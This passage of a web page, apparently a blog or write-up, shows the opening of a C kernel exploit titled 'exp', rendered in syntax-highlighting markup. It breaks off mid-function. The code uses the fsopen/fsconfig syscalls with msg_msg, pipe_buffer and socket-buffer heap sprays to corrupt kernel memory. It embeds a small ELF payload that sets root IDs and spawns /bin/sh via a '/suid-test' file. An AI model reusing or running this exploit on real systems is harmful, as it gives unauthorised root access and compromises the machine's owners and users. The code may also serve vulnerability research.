class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h3><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">// gcc -static -o exp exp.c</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">_GNU_SOURCE</span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;fcntl.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;inttypes.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sched.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;string.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/ipc.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/msg.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/socket.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/syscall.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/types.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;unistd.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">ifndef</span> <span class="token expression">__NR_fsconfig</span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">__NR_fsconfig</span> <span class="token expression"><span class="token number">431</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">endif</span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">ifndef</span> <span class="token expression">__NR_fsopen</span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">__NR_fsopen</span> <span class="token expression"><span class="token number">430</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">endif</span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">FSCONFIG_SET_STRING</span> <span class="token expression"><span class="token number">1</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name function">fsopen</span><span class="token expression"><span class="token punctuation">(</span>name<span class="token punctuation">,</span> flags<span class="token punctuation">)</span> <span class="token function">syscall</span><span class="token punctuation">(</span>__NR_fsopen<span class="token punctuation">,</span> name<span class="token punctuation">,</span> flags<span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name function">fsconfig</span><span class="token expression"><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> cmd<span class="token punctuation">,</span> key<span class="token punctuation">,</span> value<span class="token punctuation">,</span> aux<span class="token punctuation">)</span> </span><span class="token punctuation">\</span>  <span class="token expression"><span class="token function">syscall</span><span class="token punctuation">(</span>__NR_fsconfig<span class="token punctuation">,</span> fd<span class="token punctuation">,</span> cmd<span class="token punctuation">,</span> key<span class="token punctuation">,</span> value<span class="token punctuation">,</span> aux<span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">NUM_SOCKETS</span> <span class="token expression"><span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">NUM_SKBUFFS</span> <span class="token expression"><span class="token punctuation">(</span><span class="token number">0x80</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">NUM_MSQIDS_1</span> <span class="token expression"><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">NUM_MSQIDS_2</span> <span class="token expression"><span class="token punctuation">(</span><span class="token number">0x400</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">NUM_PIPEFDS</span> <span class="token expression"><span class="token punctuation">(</span><span class="token number">0x100</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">SKB_SHARED_INFO_SIZE</span> <span class="token expression"><span class="token number">0x140</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">MSG_A_TEXT_SIZE</span> <span class="token punctuation">\</span>  <span class="token expression"><span class="token punctuation">(</span><span class="token number">0x1000</span> <span class="token operator">+</span> <span class="token number">0x40</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msgseg</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">MTYPE_A</span> <span class="token expression"><span class="token punctuation">(</span><span class="token number">0x41</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">MTYPE_B1</span> <span class="token expression"><span class="token punctuation">(</span><span class="token number">0x42</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">MTYPE_B2</span> <span class="token expression"><span class="token punctuation">(</span><span class="token number">0x43</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">MTYPE_FAKE</span> <span class="token expression"><span class="token punctuation">(</span><span class="token number">0x45</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">MSG_TAG</span> <span class="token expression"><span class="token punctuation">(</span><span class="token number">0xdeadaaaa</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ATTACK_FILE</span> <span class="token string">"/suid-test"</span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name function">logdebug</span><span class="token expression"><span class="token punctuation">(</span>fmt<span class="token punctuation">,</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">)</span> </span><span class="token punctuation">\</span>  <span class="token expression"><span class="token function">dprintf</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> </span><span class="token string">"\033[32m[*] "</span> <span class="token expression">fmt </span><span class="token string">"\033[0m\n"</span><span class="token expression"><span class="token punctuation">,</span> </span><span class="token punctuation">##</span><span class="token expression">__VA_ARGS__<span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name function">loginfo</span><span class="token expression"><span class="token punctuation">(</span>fmt<span class="token punctuation">,</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">)</span> </span><span class="token punctuation">\</span>  <span class="token expression"><span class="token function">dprintf</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> </span><span class="token string">"\033[34m[+] "</span> <span class="token expression">fmt </span><span class="token string">"\033[0m\n"</span><span class="token expression"><span class="token punctuation">,</span> </span><span class="token punctuation">##</span><span class="token expression">__VA_ARGS__<span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name function">logerror</span><span class="token expression"><span class="token punctuation">(</span>fmt<span class="token punctuation">,</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">)</span> </span><span class="token punctuation">\</span>  <span class="token expression"><span class="token function">dprintf</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> </span><span class="token string">"\033[31m[-] "</span> <span class="token expression">fmt </span><span class="token string">"\033[0m\n"</span><span class="token expression"><span class="token punctuation">,</span> </span><span class="token punctuation">##</span><span class="token expression">__VA_ARGS__<span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name function">die</span><span class="token expression"><span class="token punctuation">(</span>fmt<span class="token punctuation">,</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">)</span>                      </span><span class="token punctuation">\</span>  <span class="token expression"><span class="token keyword">do</span>                                       </span><span class="token punctuation">\</span>  <span class="token expression"><span class="token punctuation">&#123;</span>                                        </span><span class="token punctuation">\</span>    <span class="token expression"><span class="token function">logerror</span><span class="token punctuation">(</span>fmt<span class="token punctuation">,</span> </span><span class="token punctuation">##</span><span class="token expression">__VA_ARGS__<span class="token punctuation">)</span><span class="token punctuation">;</span>          </span><span class="token punctuation">\</span>    <span class="token expression"><span class="token function">logerror</span><span class="token punctuation">(</span></span><span class="token string">"Exit at line %d"</span><span class="token expression"><span class="token punctuation">,</span> <span class="token constant">__LINE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span> </span><span class="token punctuation">\</span>    <span class="token expression"><span class="token function">write</span><span class="token punctuation">(</span>notify_pipe<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> </span><span class="token string">"N"</span><span class="token expression"><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>         </span><span class="token punctuation">\</span>    <span class="token expression"><span class="token function">exit</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                               </span><span class="token punctuation">\</span>  <span class="token expression"><span class="token punctuation">&#125;</span> <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span></span></span><span class="token keyword">struct</span> <span class="token class-name">list_head</span><span class="token punctuation">&#123;</span>  <span class="token class-name">uint64_t</span> next<span class="token punctuation">;</span>  <span class="token class-name">uint64_t</span> prev<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span><span class="token punctuation">&#123;</span>  <span class="token keyword">struct</span> <span class="token class-name">list_head</span> m_list<span class="token punctuation">;</span>  <span class="token class-name">uint64_t</span> m_type<span class="token punctuation">;</span>  <span class="token class-name">uint64_t</span> m_ts<span class="token punctuation">;</span>  <span class="token class-name">uint64_t</span> next<span class="token punctuation">;</span>  <span class="token class-name">uint64_t</span> security<span class="token punctuation">;</span>  <span class="token keyword">char</span> mtext<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token class-name">msg_msgseg</span><span class="token punctuation">&#123;</span>  <span class="token class-name">uint64_t</span> next<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token class-name">typ_msg</span><span class="token punctuation">&#123;</span>  <span class="token keyword">long</span> mtype<span class="token punctuation">;</span>  <span class="token keyword">char</span> mtext<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token class-name">pipe_buffer</span><span class="token punctuation">&#123;</span>  <span class="token class-name">uint64_t</span> page<span class="token punctuation">;</span>  <span class="token class-name">uint32_t</span> offset<span class="token punctuation">;</span>  <span class="token class-name">uint32_t</span> len<span class="token punctuation">;</span>  <span class="token class-name">uint64_t</span> ops<span class="token punctuation">;</span>  <span class="token class-name">uint32_t</span> flags<span class="token punctuation">;</span>  <span class="token class-name">uint32_t</span> pad<span class="token punctuation">;</span>  <span class="token class-name">uint64_t</span> private<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token class-name">pipe_buf_operations</span><span class="token punctuation">&#123;</span>  <span class="token class-name">uint64_t</span> confirm<span class="token punctuation">;</span>  <span class="token class-name">uint64_t</span> release<span class="token punctuation">;</span>  <span class="token class-name">uint64_t</span> steal<span class="token punctuation">;</span>  <span class="token class-name">uint64_t</span> get<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">char</span> msg_buffer<span class="token punctuation">[</span><span class="token number">0x2000</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">char</span> skb<span class="token punctuation">[</span><span class="token number">1024</span> <span class="token operator">-</span> SKB_SHARED_INFO_SIZE<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token class-name">typ_msg</span> <span class="token operator">*</span>msg_a <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">typ_msg</span> <span class="token operator">*</span><span class="token punctuation">)</span>msg_buffer<span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token class-name">typ_msg</span> <span class="token operator">*</span>msg_b <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">typ_msg</span> <span class="token operator">*</span><span class="token punctuation">)</span>msg_buffer<span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token class-name">typ_msg</span> <span class="token operator">*</span>msg_a_oob <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">typ_msg</span> <span class="token operator">*</span><span class="token punctuation">)</span>msg_buffer<span class="token punctuation">;</span><span class="token keyword">int</span> sock_pairs<span class="token punctuation">[</span>NUM_SOCKETS<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> msqid_1<span class="token punctuation">[</span>NUM_MSQIDS_1<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> msqid_2<span class="token punctuation">[</span>NUM_MSQIDS_2<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> pipe_fd<span class="token punctuation">[</span>NUM_PIPEFDS<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> notify_pipe<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token class-name">uint64_t</span> kmalloc_1024<span class="token punctuation">;</span><span class="token keyword">int</span> corrupted_msqid <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span><span class="token keyword">int</span> uaf_msqid <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span><span class="token keyword">int</span> fake_msqid<span class="token punctuation">;</span><span class="token keyword">int</span> tfd<span class="token punctuation">;</span><span class="token keyword">const</span> <span class="token keyword">char</span> attack_data<span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token number">0x7f</span><span class="token punctuation">,</span> <span class="token number">0x45</span><span class="token punctuation">,</span> <span class="token number">0x4c</span><span class="token punctuation">,</span> <span class="token number">0x46</span><span class="token punctuation">,</span> <span class="token number">0x02</span><span class="token punctuation">,</span> <span class="token number">0x01</span><span class="token punctuation">,</span> <span class="token number">0x01</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x56</span><span class="token punctuation">,</span> <span class="token number">0x56</span><span class="token punctuation">,</span> <span class="token number">0x56</span><span class="token punctuation">,</span>    <span class="token number">0x56</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x02</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x3e</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x01</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span>    <span class="token number">0xb0</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x10</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x40</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span>    <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span>    <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x40</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x38</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x02</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x40</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span>    <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x01</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x07</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span>    <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x10</span><span class="token punctuation">,</span>    <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x10</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span>    <span class="token number">0xf6</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0xf6</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span>    <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x10</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span>    <span class="token number">0x51</span><span class="token punctuation">,</span> <span class="token number">0xe5</span><span class="token punctuation">,</span> <span class="token number">0x74</span><span class="token punctuation">,</span> <span class="token number">0x64</span><span class="token punctuation">,</span> <span class="token number">0x07</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span>    <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span>    <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span>    <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span>    <span class="token number">0x10</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">0x31</span><span class="token punctuation">,</span> <span class="token number">0xff</span><span class="token punctuation">,</span> <span class="token number">0x31</span><span class="token punctuation">,</span> <span class="token number">0xd2</span><span class="token punctuation">,</span>    <span class="token number">0x31</span><span class="token punctuation">,</span> <span class="token number">0xf6</span><span class="token punctuation">,</span> <span class="token number">0x6a</span><span class="token punctuation">,</span> <span class="token number">0x75</span><span class="token punctuation">,</span> <span class="token number">0x58</span><span class="token punctuation">,</span> <span class="token number">0x0f</span><span class="token punctuation">,</span> <span class="token number">0x05</span><span class="token punctuation">,</span> <span class="token number">0x31</span><span class="token punctuation">,</span> <span class="token number">0xff</span><span class="token punctuation">,</span> <span class="token number">0x31</span><span class="token punctuation">,</span> <span class="token number">0xd2</span><span class="token punctuation">,</span> <span class="token number">0x31</span><span class="token punctuation">,</span>    <span class="token number">0xf6</span><span class="token punctuation">,</span> <span class="token number">0x6a</span><span class="token punctuation">,</span> <span class="token number">0x77</span><span class="token punctuation">,</span> <span class="token number">0x58</span><span class="token punctuation">,</span> <span class="token number">0x0f</span><span class="token punctuation">,</span> <span class="token number">0x05</span><span class="token punctuation">,</span> <span class="token number">0x6a</span><span class="token punctuation">,</span> <span class="token number">0x68</span><span class="token punctuation">,</span> <span class="token number">0x48</span><span class="token punctuation">,</span> <span class="token number">0xb8</span><span class="token punctuation">,</span> <span class="token number">0x2f</span><span class="token punctuation">,</span> <span class="token number">0x62</span><span class="token punctuation">,</span>    <span class="token number">0x69</span><span class="token punctuation">,</span> <span class="token number">0x6e</span><span class="token punctuation">,</span> <span class="token number">0x2f</span><span class="token punctuation">,</span> <span class="token number">0x2f</span><span class="token punctuation">,</span> <span class="token number">0x2f</span><span class="token punctuation">,</span> <span class="token number">0x73</span><span class="token punctuation">,</span> <span class="token number">0x50</span><span class="token punctuation">,</span> <span class="token number">0x48</span><span class="token punctuation">,</span> <span class="token number">0x89</span><span class="token punctuation">,</span> <span class="token number">0xe7</span><span class="token punctuation">,</span> <span class="token number">0x68</span><span class="token punctuation">,</span> <span class="token number">0x72</span><span class="token punctuation">,</span>    <span class="token number">0x69</span><span class="token punctuation">,</span> <span class="token number">0x01</span><span class="token punctuation">,</span> <span class="token number">0x01</span><span class="token punctuation">,</span> <span class="token number">0x81</span><span class="token punctuation">,</span> <span class="token number">0x34</span><span class="token punctuation">,</span> <span class="token number">0x24</span><span class="token punctuation">,</span> <span class="token number">0x01</span><span class="token punctuation">,</span> <span class="token number">0x01</span><span class="token punctuation">,</span> <span class="token number">0x01</span><span class="token punctuation">,</span> <span class="token number">0x01</span><span class="token punctuation">,</span> <span class="token number">0x31</span><span class="token punctuation">,</span> <span class="token number">0xf6</span><span class="token punctuation">,</span>    <span class="token number">0x56</span><span class="token punctuation">,</span> <span class="token number">0x6a</span><span class="token punctuation">,</span> <span class="token number">0x08</span><span class="token punctuation">,</span> <span class="token number">0x5e</span><span class="token punctuation">,</span> <span class="token number">0x48</span><span class="token punctuation">,</span> <span class="token number">0x01</span><span class="token punctuation">,</span> <span class="token number">0xe6</span><span class="token punctuation">,</span> <span class="token number">0x56</span><span class="token punctuation">,</span> <span class="token number">0x48</span><span class="token punctuation">,</span> <span class="token number">0x89</span><span class="token punctuation">,</span> <span class="token number">0xe6</span><span class="token punctuation">,</span> <span class="token number">0x31</span><span class="token punctuation">,</span>    <span class="token number">0xd2</span><span class="token punctuation">,</span> <span class="token number">0x6a</span><span class="token punctuation">,</span> <span class="token number">0x3b</span><span class="token punctuation">,</span> <span class="token number">0x58</span><span class="token punctuation">,</span> <span class="token number">0x0f</span><span class="token punctuation">,</span> <span class="token number">0x05</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token function">init_unshare</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">int</span> fd<span class="token punctuation">;</span>  <span class="token keyword">char</span> buff<span class="token punctuation">[</span><span class="token number">0x100</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token comment">// strace from `unshare -Ur xxx`</span>  <span class="token function">unshare</span><span class="token punctuation">(</span>CLONE_NEWNS 